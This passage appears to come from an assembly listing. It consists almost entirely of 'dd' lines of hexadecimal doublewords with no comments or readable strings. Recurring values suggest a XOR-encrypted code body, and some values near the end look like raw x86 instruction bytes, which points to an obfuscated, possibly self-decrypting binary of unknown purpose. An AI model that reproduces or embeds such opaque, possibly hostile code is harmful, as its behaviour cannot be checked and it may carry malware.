dd 391F220Eh, 5487EAFAh, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h dd 0E0091BE3h, 0CDB7D363h, 737FF7Ch, 0F7C23F0Eh, 5487EAB4h dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00907E3h, 0CDB7D363h dd 1637FF7Ch, 6086FF0Eh, 5487EA9Bh, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0FB3848E3h, 0CDB7D363h, 337FF7Ch, 0BA6B8C0Eh dd 5487EA84h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00903E3h dd 0CDB7D363h, 337FF7Ch, 0DF52D70Eh, 5487EAD7h, 537FF7Bh dd 0AE0B7CE3h, 0ABE2EA63h, 0E0090FE3h, 0CDB7D363h, 337FF7Ch dd 84CC010Eh, 5487EAB9h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h dd 0E0090BE3h, 0CDB7D363h, 1B37FF7Ch, 72C07D0Eh, 5487EAF8h dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00937E3h, 0CDB7D363h dd 0B37FF7Ch, 0DE492A0Eh, 5487EAA1h, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0E0095BE3h, 0CDB7D363h, 337FF7Ch, 795C590Eh dd 5487EA9Ch, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E00947E3h dd 0CDB7D363h, 337FF7Ch, 2416D80Eh, 5487EAA5h, 537FF7Bh dd 0AE0B7CE3h, 0ABE2EA63h, 0E00943E3h, 0CDB7D363h, 1B37FF7Ch dd 9952D90Eh, 5487EAB2h, 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h dd 0E00933E3h, 0CDB7D363h, 1B37FF7Ch, 0CB665B0Eh, 5487EAF8h dd 537FF7Bh, 0AE0B7CE3h, 0ABE2EA63h, 0E0093FE3h, 0CDB7D363h dd 1B37FF7Ch, 311A5D0Eh, 5487EAB7h, 537FF7Bh, 0AE0B7CE3h dd 0ABE2EA63h, 0E0093BE3h, 0E0367F63h, 44320566h, 2222150Eh dd 0EE327F66h, 623008F3h, 5B79C63h, 0AF37FF49h, 0E02EF2E3h dd 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h, 95A7EA66h dd 0CD37FF64h, 0C82634E3h dd 24B79C63h, 0E237FF48h, 54327D26h, 225A1566h, 7B321466h dd 95A7EA66h, 0CD37FF64h, 0C8225CE3h, 60879E63h, 337FF45h dd 0AE1954FBh, 6B879C63h, 9837FF65h, 620248FBh, 5AF9E63h dd 0A937FF4Dh, 11CB966Dh, 82ED9169h, 15621566h, 0ABF22606h dd 0FB1F48E3h, 880EAB63h, 30311566h, 8F543542h, 31165165h dd 8B4A65EDh, 0CF123112h, 9FBB0D18h, 14D83513h, 0D3DEAE3h dd 4432156Ch, 22231B8Eh, 11A3FC66h, 3631566h, 40E07EB1h dd 259380EFh, 1558108Ch, 8822150Eh, 44584766h, 202F8099h dd 94BB108Ch, 8DD825DBh, 0AC6BC5EDh, 223205B9h, 5531B830h dd 3A53142h, 840042B9h, 0DBB71AC8h, 4FCDEA99h, 360EE4Dh dd 58F9EB1h, 0A137FF49h, 0D101EAAFh, 490013ECh, 0C3369E20h dd 113AFCA7h, 943D5FAEh, 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch dd 0EE6011A4h, 621F48E3h, 19A79E63h, 1B37FF4Bh, 0FB1260F3h dd 82B61A63h, 1E321566h, 26F49638h, 0EECD8E8Fh, 0E96C4F99h dd 0C1F54D3Fh, 27D80D6Bh, 11321566h, 0A6FF90A1h, 4432108Ch dd 9FB11566h, 14C32FF0h, 80B61A66h, 0C9321566h, 0D2B705FBh dd 0EEE1EA63h, 6212FCE3h, 0AD8F9663h, 4637FF46h, 11509769h dd 0DF51566h, 41D8358Fh, 22321567h, 7F879806h, 537E45Dh dd 0B565CCDBh, 0A9CC3E63h, 508F9EB1h, 0B37FF49h, 8401EAAFh dd 0E30013ECh, 96369E20h, 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch dd 0C1C5D4EDh, 847F905Fh, 0C03D108Ch, 22321571h, 38C7A8E5h dd 8732108Ch, 44321FE3h, 9FB7D266h, 1037FF7Bh, 0E9321566h dd 437991DFh, 0BEEBAF6Dh, 989F7D8Ah, 62315CD3h, 0B874D263h dd 22321566h, 0FFDCFB5Bh, 0A8B71A88h, 0C5321566h, 0FFEFC858h dd 5B71ABBh, 4F321566h, 44321560h, 26F49666h, 127BA0EFh dd 71DB108Ch, 0CF32156Eh, 9FB726BEh, 0D037FF7Bh, 4A1916AEh dd 7722D5A7h, 9FAF9CA7h, 2C37FF7Bh, 88331566h, 44779669h dd 1CB31566h, 0AA89AEDDh, 880B9069h, 42F51566h, 22321566h dd 9836D3E5h, 62315CD3h, 5AF9E63h, 0A937FF4Dh, 71E29E6Dh dd 0D19D7EDh, 41D8240Bh, 2130F5A7h, 0FB2C38E3h, 8B9F8363h dd 60769CA7h, 5EDB747Ah, 40321566h, 3FB2634h, 0AE02A8F3h dd 2D302E63h, 11322DE2h, 8CF09666h, 31BF2E27h, 2D37FF46h dd 0EECDFDE3h, 0DB879899h, 0C937E45Ch, 0C812E8DBh, 0D1B6B963h dd 88349169h, 0AD981566h, 0DDCDEA97h, 113215DEh, 0A9BF9866h dd 0BB37FF2Ah, 7FBF9C87h, 4B37FF4Bh, 15B9433Fh, 41D83E27h dd 0A7B91EEDh, 14D8383Bh, 0D31F5B7h, 41D81647h, 44A4E355h dd 13D2D4CBh, 961F9065h, 0E9A4108Ch, 0A16CD465h, 0FB3098DBh dd 0C3D1463h, 4432155Fh, 3F77985Dh, 953D108Ch, 8832154Bh dd 58BF985Dh, 0A63D108Ch, 11321547h, 0A32B985Dh, 0C03D108Ch dd 22321573h, 5E8388EBh, 5BCD1097h, 0C1BBEDEDh, 27D836C7h dd 1134A18Fh, 39AF9866h, 0BB37E429h, 0AF8F96B5h, 1137FF64h dd 882F9169h, 0C1091566h, 27D813B7h, 113E9169h, 0D091566h dd 41D835E3h, 22379069h, 0A8DB1566h, 0B3CDEA99h, 0AE1E50E3h dd 3AB71A63h, 92321566h, 6230C4DBh, 0C13D1563h, 2232156Dh dd 388990EBh, 1DDB1097h, 7FCDEA99h, 0C81E50E3h, 98B61A63h dd 0BCDEA99h, 0B5085ADBh, 0A73D1463h, 11321571h, 0B29C905Dh dd 0C13D1097h, 2232156Dh, 0F79290EBh, 0E5DB153Eh, 77CDEA99h dd 978F9699h, 1137FF64h, 8B559169h, 0C1091566h, 27C32FFCh dd 94B91213h, 8DD81C9Bh, 0E6B72E21h, 5737E45Ch, 0FCB79E61h dd 0CF37FF71h, 7EAC905Dh, 25471097h, 149B90EDh, 0B375108Ch dd 0B508B3E3h, 0A9356063h, 0FB27C4E3h, 0D095263h, 41C32FCCh dd 0A7B91213h, 14D83E77h, 26B72E21h, 3137E45Ch, 5FB79E61h dd 5637FF4Fh, 0B280905Dh, 43471097h, 0AFF90EDh, 2A75108Ch dd 7908A3E3h, 0CF356063h, 0C8278CE3h, 94095263h, 8DC32FDCh dd 0C1B91213h, 27D83EBBh, 0AFB72E21h, 0FD37E45Ch, 39B79E61h dd 6537FF66h, 2BF4905Dh, 8F471097h, 475F90EDh, 1975108Ch dd 0E008D7E3h, 0B226063h, 0AE125CDBh, 25471563h, 0FBF90EDh dd 0B75108Ch, 0AE1F20DBh, 2D461563h, 2A7C905Dh, 8F471097h dd 447B90EDh, 0A175108Ch, 0FB1220DBh, 0FA461563h, 6A57A8E5h dd 5632108Ch, 23B72E0Fh, 0FD37E45Dh, 25B79E61h, 6537FF43h dd 2A70905Dh, 8F471097h, 617F90EDh, 1975108Ch, 0E00923E3h dd 3356063h, 0AE3DA8E3h, 0A7095263h, 14C32E20h, 0DB91213h dd 41D800DBh, 68B72E21h, 6437E45Dh, 0F1B79E61h, 337FF56h dd 1908905Dh, 16471097h, 816390EDh, 7F75108Ch, 0D3092BE3h dd 9A356063h, 623EECE3h, 0F9B15263h, 27D83B03h, 1BB61A66h dd 0B3321564h, 0B508DFE3h, 0A9356063h, 0FB2EA8E3h, 0D095263h dd 41C32E38h, 0A7B91213h, 14D81583h, 46B72E21h, 3137E45Ch dd 0C3B79E61h, 5637FF7Fh, 0B2E0905Dh, 43471097h, 71B90EDh dd 2A75108Ch, 7908C3E3h, 0CF356063h, 0C819D0E3h, 94095263h dd 8DC32FBCh, 0F9B10513h, 27D8352Fh, 9A356066h, 62124CE3h dd 0C1095263h, 27C32FB8h, 94B91213h, 8DD81E4Fh, 0A6B72E21h dd 5737E45Ch, 588F9676h, 8837FF46h, 0C1B91213h, 27D801E3h dd 0F7B72E21h, 0FD37E45Ch, 19B79E61h, 6537FF66h, 2BD8905Dh dd 8F471097h, 433B90EDh, 1975108Ch, 0E008E7E3h, 0B226063h dd 0AE125CDBh, 25471563h, 160390EDh, 0B375108Ch, 0B508FBE3h dd 0A1226063h, 0FB125CDBh, 8F471563h, 5E0F90EDh, 1975108Ch dd 0E008E3E3h, 3356063h, 0AE2A34E3h, 0A7095263h, 14C32F9Ch dd 0DB91213h, 41D805EFh, 0DCB72E21h, 6437E45Ch, 0E1B79E61h dd 337FF7Dh, 1930905Dh, 16471097h, 961390EDh, 7F75108Ch dd 0D30913E3h, 9A356063h, 622F90E3h, 0C1095263h, 27C32E6Ch dd 94B91213h, 8DD830BFh, 4AB72E21h, 5737E45Dh, 0FCB79E61h dd 0CF37FF57h, 7F20905Dh, 25471097h, 14E790EDh, 0B375108Ch dd 0AE3848E3h, 0A9356063h, 0FB3ED0E3h, 0D095263h, 41C32E70h dd 0A7B91213h, 14D80E63h, 0DAB72E21h, 3137E45Dh, 788F967Fh dd 1137E45Dh, 35B11C13h, 41D817EBh, 0A9356166h, 0FB036CE3h dd 0D095263h, 41C32E30h, 9FB10C13h, 14C32E3Ch, 0B3B6066h dd 0AE3098DBh, 25461563h, 1C6790EDh, 0B375108Ch, 0B5090FE3h dd 0A9356063h, 0FB3CF8E3h, 0D095263h, 41C32E78h, 0A7B91213h dd 14D8129Bh, 0AAB72E21h, 3137E45Dh, 0CFB79E61h, 5637FF4Ch dd 0B314905Dh, 43471097h, 3C9F90EDh, 2A75108Ch, 79093FE3h dd 0CF356063h, 0C81948E3h, 94095263h, 8DC32E48h, 0C1B91213h dd 27D809DBh, 1ECD1E21h, 883210E2h, 0BFD8FC66h, 0A709EA99h dd 14D80303h, 88399069h, 0C1BF1566h, 27C2C871h, 0EEC9C68Fh dd 0C1B72E99h, 4B37FF61h, 22320DE3h, 5E8F9666h, 8937E45Ch dd 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh, 0CEB72E99h dd 2D37E45Ch, 113219E2h, 6B72E66h, 4B37E45Ch, 223210E3h dd 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h, 11321523h dd 0B24C905Dh, 0C13D1097h, 2232156Dh, 73D690EBh, 0E5DB153Eh dd 7FCDEA9Dh, 0D30897E3h, 1AB71A63h, 5321566h, 1C514FE3h dd 0D964FC66h, 9409EA99h, 8DC32FE0h, 44399069h, 0A7BF1566h dd 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h, 943DE36Dh dd 88321563h, 0BBC9368Fh, 0ABC29E99h, 0FB1F70D3h, 89879C63h dd 0C437FF7Ah, 0A73DFC58h dd 11321540h, 8B336BEDh, 0C5EC9E98h, 227215A5h, 748F2E66h dd 8737FF4Bh, 44321DE4h, 2DC92E66h, 113210E0h, 72D4FC66h dd 0F9B9EA99h, 27D80147h, 38F790A1h, 8832108Ch, 0CD521566h dd 0C82E14D3h, 83AF9863h, 7737E433h, 66B01AB5h, 0AF321566h dd 0FED472FBh, 87E1EA63h, 0BBCDCBE5h, 23879E99h, 9837FF7Ah dd 621BD0D3h, 0FCAF9863h, 0DD37E5E2h, 74B79EB5h, 137FF4Bh dd 0AE2E14E3h, 0BFBF7463h, 14C3449Dh, 15BFC699h, 41C34185h dd 0A13DC699h, 1132156Ah, 943390E5h, 0AD37108Ch, 0DDCDEAB8h dd 443E88EBh, 5BCD1097h, 443A9669h, 0E0B11566h, 1100FC62h dd 15BF1566h, 41DDF301h, 0A13DC699h, 1132156Dh, 9433A0EDh dd 0C4DB108Ch, 0A9321561h, 0FB2E14EBh, 89879C63h, 6F37FF7Ah dd 9EBE2A8h, 0F896E697h, 77CDEAF0h, 0C12288EBh, 0F1CD1096h dd 9419D2EDh, 8DD80147h, 767390EFh, 0A7B9108Ch, 14D80147h dd 5BF4531h, 41C290E3h, 0A7B9C499h, 14D8052Fh, 0DB94236h dd 41D80147h, 96BF9836h, 0EE37E5E3h, 3E29EB7h, 0DBF3EAEh dd 0A137FF76h, 0FB34D4DBh, 0C3D1563h, 4432154Dh, 326B90EDh dd 9419108Ch, 8DD813A7h, 0C23DD45Dh, 22321571h, 20EB90EDh dd 0D31108Ch, 41D813A7h, 19390EFh, 52DB108Ch, 0D9321566h dd 497AD4EDh, 22321A99h, 48B79C26h, 8937FF76h, 0AE1B14E3h dd 0E3B7D263h, 1137FF60h, 0E2321566h, 54327D26h, 48631566h dd 0CA7EA66h, 7737FF64h, 0AE1F40F3h, 0FBB79C63h, 9837FF57h dd 6211B4E3h, 0F1CD4C63h, 27D836C7h, 17BA099h, 7765108Ch dd 0AE2634D3h, 64B79863h, 0EE37E5ECh, 49BF14B6h, 0CF37FF60h dd 0C811B4DBh, 58879E63h, 7B37FF76h, 0D879EC2h, 8F37FF65h dd 11CE53A1h, 49321566h, 0C03710A6h, 2139122Dh, 0FB02BCE3h dd 29BF9E63h, 0CD37FF45h, 64F5B86Eh, 1132159Ah, 0C1879C66h dd 0C737FF65h, 0A73DEA9Eh, 11321546h, 55EF2BE7h, 0C13DC8BBh dd 22321572h, 113213A1h, 4EB11566h, 0D879C62h, 0CB37FF65h dd 0EECDE380h, 8B31D5A7h, 0AE02BCE3h, 5B8F9663h, 1037FF6Ch dd 88AF9169h, 7AB31566h, 8898BFCCh, 11209069h, 4EB11566h dd 0B874D262h, 22321566h, 0F8DBA5F1h, 88321565h, 14DAA5F1h dd 20BFA8E5h, 1E33108Ch, 88322BE2h, 4532AD66h, 9FB11566h dd 14C32FF0h, 80B61A66h, 0C9321566h, 0D2BF92FBh, 91E1EA63h dd 0C3D8559h, 4432156Eh, 0CB37D2E5h, 11321525h, 8762EDE5h dd 44321FE4h, 88A2A566h, 35DBBF3Eh, 0D0321566h, 0BB4D95CCh dd 3AB71A8Fh, 92321566h, 790883DBh, 0C03D1563h, 2232156Eh dd 9C6588EBh, 5BCD1096h, 0CF3652EEh, 0C811B4E3h, 92F53E63h dd 2599118Eh, 44CE53A1h, 0CB321566h, 0EECDEA77h, 8B7BA0EFh dd 2C60108Ch, 22329566h, 0A4CD150Ch, 8DD825DBh, 4D838099h dd 0A968108Ch, 0FB1954EBh, 8833D263h, 0C7321566h, 0AFBB11A7h dd 14D83E27h, 77C7058Fh, 4296FC99h, 0A9521566h, 0FB1954EBh dd 13B9E63h, 0B50887EBh, 6C0A9463h, 1E7E5132h, 883209E3h dd 3CB37366h, 2D1C5962h, 113205E3h, 0BC29E66h, 0C1B913A0h dd 27D80687h, 1133138Fh, 3C29E66h, 0E8FB26B6h, 0A63D155Ah dd 1132153Bh, 0C3D385Ah, 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh dd 0A3D255Ah, 44321466h, 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah dd 44321596h, 0A43D4F5Ah, 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h dd 0A03D745Ah, 113215BEh, 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh dd 0C7095766h, 88F09169h, 5781566h, 0DDCD8F8Fh, 1EFB9099h dd 8832A6E2h, 0B1879866h, 0A937FF57h, 0A1C89EACh, 0D3DBB48h dd 0BBCDEA9Fh, 0FBC5DA4Dh, 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h dd 27D82493h, 1DB390EDh, 48B7108Ch, 44289069h, 0A7F41566h dd 14D80F23h, 2FE07D21h, 0F1CDC1FCh, 27D836EBh, 0BE9290EBh dd 58CD108Bh, 0C1E2EA34h, 1AB71AA6h, 9A321566h, 6230B4E3h dd 4BF29063h, 22320FE3h, 54B7D366h, 0C437FF7Ch, 9E2EFC0Eh dd 0AF87EABFh, 9C37FF45h, 659DB5E3h, 16E2EA63h, 0E2B7C599h dd 11379069h, 0A9DB1566h, 0CD321566h, 0D30887E3h, 9C644563h dd 659917E3h, 4FE2EA63h, 27B71AA6h, 0F8321566h, 88321562h dd 581651EFh, 0A952D607h, 0E00887EBh, 49B94563h, 0CF0E5565h dd 22329DF6h, 3CA79C66h, 8D37FF7Ch, 4432159Eh, 0AB3E45EDh dd 0FB223CF3h, 0CCB94D63h, 85193142h, 321B905Dh, 933D108Ch dd 88321576h, 5E1F905Dh, 0A13D108Ch, 11321562h, 8836D707h dd 6036D207h, 22321566h, 151651A1h, 88321566h, 443210DEh dd 3BF9866h, 0EE37FF2Ah, 8EB87587h, 0C03DFC5Ah, 22321558h dd 953DFD5Ah, 88321524h, 0C03D1A5Ah, 22321574h, 953DD85Ah dd 88321559h, 0C03DFE5Ah, 2232152Fh, 4FB8D607h, 78D19567h dd 4BB2EEE6h, 0DDCDFAE3h, 92EC9E99h, 0D63113A5h, 4426FC64h dd 7CB91566h, 0EAC99667h, 881B9169h, 9AB91566h, 0A1334B65h dd 0D8DB10A5h, 87CDEA99h, 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh dd 88321F8Fh, 454C9566h, 8FB71A98h, 0F8CDEA99h, 77CDEA06h dd 13614430h, 0A89ED555h, 0E1D195BEh, 8742EEE6h, 4432F9E2h dd 2D3D2966h, 113230E2h, 87DB2966h, 443391E2h, 2DD92966h dd 113000E2h, 87D12966h, 443264E2h, 2DD02966h, 113056E2h dd 0D1694A66h, 0C1F5D638h, 27C32E04h, 11321560h, 6BB20BECh dd 0C4C99596h, 0DDD19069h, 9A7CEA99h, 621F70E3h, 81A79E63h dd 0A937FF4Fh, 17F196B8h, 0B3304B65h, 4CB01ABEh, 19321566h dd 0AFB41ABCh, 0A3CDEA99h, 42D996B9h, 8954B800h, 0D7B1BEF5h dd 0AC0E9C62h, 481661EFh, 3E33A0EFh, 4A6D108Ch, 4CB14B3Fh dd 0BE52FC62h, 0A7F5EA99h, 14C32E04h, 88321564h, 0F23DCBEDh dd 0A2CB9568h, 113A9669h, 51311566h, 443FFC25h, 0CBB21566h dd 90EBE299h, 8832EA87h, 0CFEB3E66h, 0C81F70E3h, 0D4A79E63h dd 0B37FF4Fh, 0AE2A18DBh, 0A63D1463h, 113215C5h, 0A3DCD5Dh dd 443215FDh, 0A03DCF5Dh, 0EECDEA27h, 88329B8Fh, 26B7D266h dd 2037E45Dh, 9A321566h, 86841AB8h, 4BB2ECE6h, 22321DE5h dd 52EB1666h, 8832188Fh, 0BBDB9566h, 0C3B3CC91h, 11321599h dd 0DB9CC4Dh, 41D83803h, 0BF780EDh, 0ACB1108Ch, 8DD80D6Bh dd 0CB61A67h, 19321566h, 19B01ABEh, 0B3321566h, 0A2B41ABCh dd 6CCDEA98h, 9B981AD6h, 8B2A568h, 85381A87h, 0A1ED3ECCh dd 0BAA1118Dh, 130D3E5h, 0AE2E14D3h, 2FB7D263h, 1037FF7Eh dd 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h, 0C6CDEA9Fh dd 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h, 40F69638h dd 0DDCBD28Fh, 73B7D299h, 8D37E45Dh, 0CF321566h, 26F196B8h dd 94B90B65h, 8DD83803h, 6DF780EDh, 0A17C108Ch, 0FB1CD8DBh dd 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh, 0E3DCF5Dh dd 4432154Dh, 3E33A0EFh, 8CB9108Ch, 8DC32E04h, 48164967h dd 2232CB8Fh, 94F54A66h, 8DD83BABh, 44321567h, 0A16C4C3Dh dd 0E6DB11A2h, 0BCDEA9Eh, 0AE2A18DBh, 0A63D1463h, 113215DDh dd 0A557884Dh, 0C9B9108Ch, 27D80147h, 0DE19DE65h, 3837FCE5h dd 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h, 0C1F5EA99h dd 27C32E04h, 11321564h, 3E3DCBEDh, 0C4CB9568h, 223A9669h dd 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h, 1132EA87h dd 3EB3E66h, 0AE1F70E3h, 0E7A79E63h, 0F837FF4Fh, 77CDEA20h dd 7F5090A1h, 22301097h dd 0CFB91566h, 83CA369h, 0C73D959Fh, 2232156Eh, 0F871CC65h dd 8832156Bh, 0B3CDFCE6h, 0DDD394BFh, 3A321566h, 0EDB79EBFh dd 0CF37FF4Bh, 0C81BD0F3h, 1C8F9663h, 8937FF7Eh, 0BAFB9169h dd 0FA09EA99h, 113A9769h, 52091566h, 0B9559369h, 0A97CEA99h dd 92FD3EA8h, 6182108Fh, 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh dd 88349169h, 0ADCA1566h, 2232157Eh, 12EC9E35h, 4BB11438h dd 0EEDAA563h, 0C9B1CA4Dh, 4A998662h, 7137D3E5h, 0CF5444A5h dd 2DF12960h, 113255E2h, 87F92966h, 44322DE2h, 2DF02966h dd 11322DE2h, 87F82966h, 443225E2h, 0DD0F7366h, 21B61A43h dd 0EE321566h, 4BCD3B5Bh, 223218E3h, 13749F66h, 280EE542h dd 44119169h, 0DA6B1566h, 11322C8Fh, 0C9FB2666h, 44320C8Fh dd 2231AC66h, 1EDB1566h, 31321566h, 44321560h, 2232108Fh dd 1135AC66h, 2CC11566h, 6DF798EDh, 0EBB7108Ch, 11349069h dd 3DBB1566h, 41D83CA3h, 44F1EC3Fh, 0D20E13EDh, 88579169h dd 9CB81566h, 0A2C2F6E6h, 953D659Dh, 883215FAh, 0C03DFC5Ah dd 22321529h, 953DFE5Ah, 88321521h, 0C03DD75Ah, 22321559h dd 953DDE5Ah, 88321551h, 61CD2800h, 221F9169h, 0DB0E1566h dd 88179169h, 0A70E1566h, 22509169h, 2C541566h, 0D3DEA48h dd 4432156Bh, 63053ECh, 1E922996h, 883213E2h, 4BDBED66h dd 0AB321566h, 0FB1BD0D3h, 30AF9863h, 0BB37E5E2h, 72F1ECB5h dd 982253EDh, 620378E3h, 82B14D63h, 0F8F987Ah, 0BC37FF78h dd 0AC165165h, 898F98CDh, 8F37FF7Fh, 35165165h, 35BFBE36h dd 41D81647h, 67616CBh, 0D26CBE4Eh, 19AF9830h, 0BB37E5E2h dd 0FF95FCB5h, 0CEDFFFFFh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h dd 0B4A86DC0h, 0A8ED96A7h, 458A152Ah, 0DFA02429h, 79261957h dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h dd 407B0887h, 0D032DCF1h, 0BA8FE434h, 0A8EDD871h, 458A42C3h dd 58DDAEA2h, 0C88260D5h, 0A5B5EC38h, 0DF07462Fh, 51594F26h dd 3C6D5h, 5492B85Eh, 0F305E983h, 0E4CB8BA4h, 0B1DABA31h dd 0EB32565Dh, 3DDFBC2Fh, 3C5253A7h, 41B35511h, 0B977DDD0h dd 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah, 0A175DFBAh dd 0A1F09F36h, 34F436ABh, 83D84C90h, 0A4F305E9h, 9D11F1B0h dd 75FD7AF2h, 0AA17FB23h, 25F88B98h, 0FDF53FD5h, 84DEB0ADh dd 0B7342292h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h dd 700C5FBCh, 56ACFFA0h, 0C87D7FDEh, 0F305E983h, 8DDB8BA4h dd 0F13B6EBDh, 558D8D05h, 0B805F156h, 32156644h, 0E9C1CF2Bh dd 0D0073102h, 4C783C8h, 0F2850F49h, 8BFFFFFFh, 0D9BD83C0h dd 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h, 0B8C08B53h dd 411h, 7698589h, 9D8D05EAh, 5ECDE5Ch, 585BD3FFh, 2EE5BD83h dd 740005EAh, 0B8535017h, 411h, 7698589h, 9D8D05EAh, 5ECDAFDh dd 585BD3FFh, 0F2BBC08Bh, 8D4672A4h, 0F1588E8Dh, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 3C09890Ah, 643E3A4Ah, 2A559D8Bh, 0FE905EAh, 3E000000h dd 27A76B04h, 5E1D0372h, 28A48F51h, 8D89A147h, 5EA0ADDh dd 0C28B66F5h, 0ACD85C7h, 6D6805EAh, 0F08B0000h, 25F585C7h dd 5EAh, 830F0000h, 5, 6C1F55BFh, 51B5FF4Ch, 0E905EA15h dd 8, 4609A3C4h, 0F1B4B07Eh, 2A1995FFh, 6A05EAh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 0EDBC0C3h, 0DF8B6606h, 95FF006Ah, 5EA1015h, 5DEBC08Bh dd 0B5EC866Eh, 0CF5B1ECCh, 42F5EA27h, 0D173F1ECh, 0F78B0874h dd 375A5866h, 1AB8B9E9h, 79257BF0h, 0CD6C1074h, 5FDB0F05h dd 0BB9ADCB3h, 0FF4B98ECh, 630027A5h, 0E667CCCCh, 0F291507Eh dd 6B6B980Ch, 51439FBCh, 48EBB9FAh, 0C4674AE3h, 0A9105757h dd 74315BBh, 19BCCD4Dh, 0AD99E0D7h, 0EDE9C4h, 66600000h dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 5EA2C45h, 0F00FE83h dd 2285h, 4585C600h, 4505EA1Ah, 72696968h, 45B5FF8Eh, 8D05EA1Dh dd 0EDAFA085h, 89D0FF05h, 0EA2E7D85h, 80F08B05h, 850FE93Eh dd 31h, 0ACCE858Dh, 0D0FF05EFh, 0F5BD8Bh, 0C78105EAh, 1184h dd 2C45B58Bh, 0F78705EAh, 8B9h, 8BA4F300h, 0EA2C45B5h dd 0C6858D05h, 0FF05EE48h, 1B58BD0h, 8305EA09h, 850F00FEh dd 22h, 1A4585C6h, 685405EAh, 0FF4EBEF4h, 1D45B5FFh, 858D05EAh dd 5EDAFA0h, 8589D0FFh, 5EA0901h, 3E80F08Bh, 3A850FE9h dd 8B000000h, 0EA0901B5h, 0CE858D05h, 0FF05EFACh, 0F5BD8BD0h dd 8105EA00h, 1184C7h, 8C78300h, 901B58Bh, 0F78705EAh dd 8B9h, 8BA4F300h, 0EA0901B5h, 0C6858D05h, 0FF05EE48h dd 8DC361D0h, 0F158F585h, 25858905h, 0E805EA0Ah, 13h, 0E19B916Bh dd 415BC8AAh, 0AE3C4DE4h, 8AF5A263h, 66C52210h, 0F59F38Bh dd 0C181FEB7h, 62F5h, 0C337BF66h, 1893B8h, 0EE900h, 0F4360000h dd 0DBEB22C6h, 1E22EB0Bh, 0BE3DCF51h, 8B0F118Bh, 2, 0C2815E57h dd 24697D7Eh, 0C8F0Fh, 880F0000h, 6, 840Fh, 0EA810000h dd 467C1BE8h, 0C2815B51h, 0FEFAA5Bh, 3B8BE66h, 59BF6652h dd 0F018FD1h, 0E983F2BFh, 0FE803h, 31840000h, 825CAD21h dd 489B32F4h, 30EB0133h, 5FDA8BE9h, 8E95349h, 0B0000000h dd 0EEC2E1C3h, 5ED6EEA0h, 0F01E883h, 0FFFF8F85h, 1E04EBFFh dd 0E913ED86h, 5D5h, 0B9ED92C6h, 3D690C43h, 0B5E194C7h dd 3B6F0A4Fh, 0B6E291C1h, 6DED9110h, 0EE609ACEh, 71E3194Dh dd 0ED609ACEh, 20B2184Ch, 47C09A92h, 0C861ED1Dh, 0D782F739h dd 0ED3A177Bh, 3265E4B8h, 9DD0D675h, 0E70E50FCh, 7FCD0FEFh dd 1756A485h, 614D60F8h, 2C2A896Fh, 0BA530DAEh, 5106328Fh dd 0C29A3914h, 0F162B538h, 0E08CE04Ch, 620F464Ch, 0E293C4CEh dd 194B414Eh, 0FAAE4B82h, 0A55A9A54h, 23D40006h, 0CE4F8D77h dd 1478D489h, 5539DE1Eh, 0E291C50Bh, 56BFE141h, 2FF74546h dd 0A5D5DFADh, 1B5355F6h, 3A84D478h, 0C27099CAh, 48E9688Ah dd 387B9265h, 0B85F9D9Bh, 8A928E6h, 935DF3ABh, 7E12BE61h dd 0E792DBDDh, 0D54A3D4Bh, 0BAF81756h, 0BBF0194Ah, 1DCA0627h dd 725288D3h, 0D5A0255Fh, 0D14A3E76h, 89BA340Eh, 0E3000000h dd 0EF80F739h, 5667675Dh, 2E42DA17h, 966EDC82h, 0E9175667h dd 0B8BE1D71h, 76288435h, 349839B8h, 0B181FB58h, 45175666h dd 0E695D917h, 0C785264Ah, 39C04895h, 9C7340Eh, 68094CC9h dd 1FEA704h, 0A7000000h, 0E74BEA6Dh, 67CB6AEDh, 0E14DEC6Dh dd 2378E4EEh, 0BE5709ACh, 28AE4A00h, 664B278Bh, 0DF7C3C6Ch dd 1B32987h, 1756DB2Bh, 754CA4C4h, 0C4B36E0Fh, 74F9FF5Ch dd 22559BC5h, 0A59F2D73h, 18175754h, 227B2380h, 1B11A339h dd 13175667h, 0FC903CDFh, 0B6B0138Bh, 313B9744h, 1BB31FBEh dd 49EFAC45h, 505B88C2h, 2043B1F3h, 0E53408BAh, 5E871756h dd 2A6DA4ECh, 0FACC082h, 7E2AC909h, 0FEA05184h, 577C230h dd 0FE92FE52h, 84F7FD5Dh, 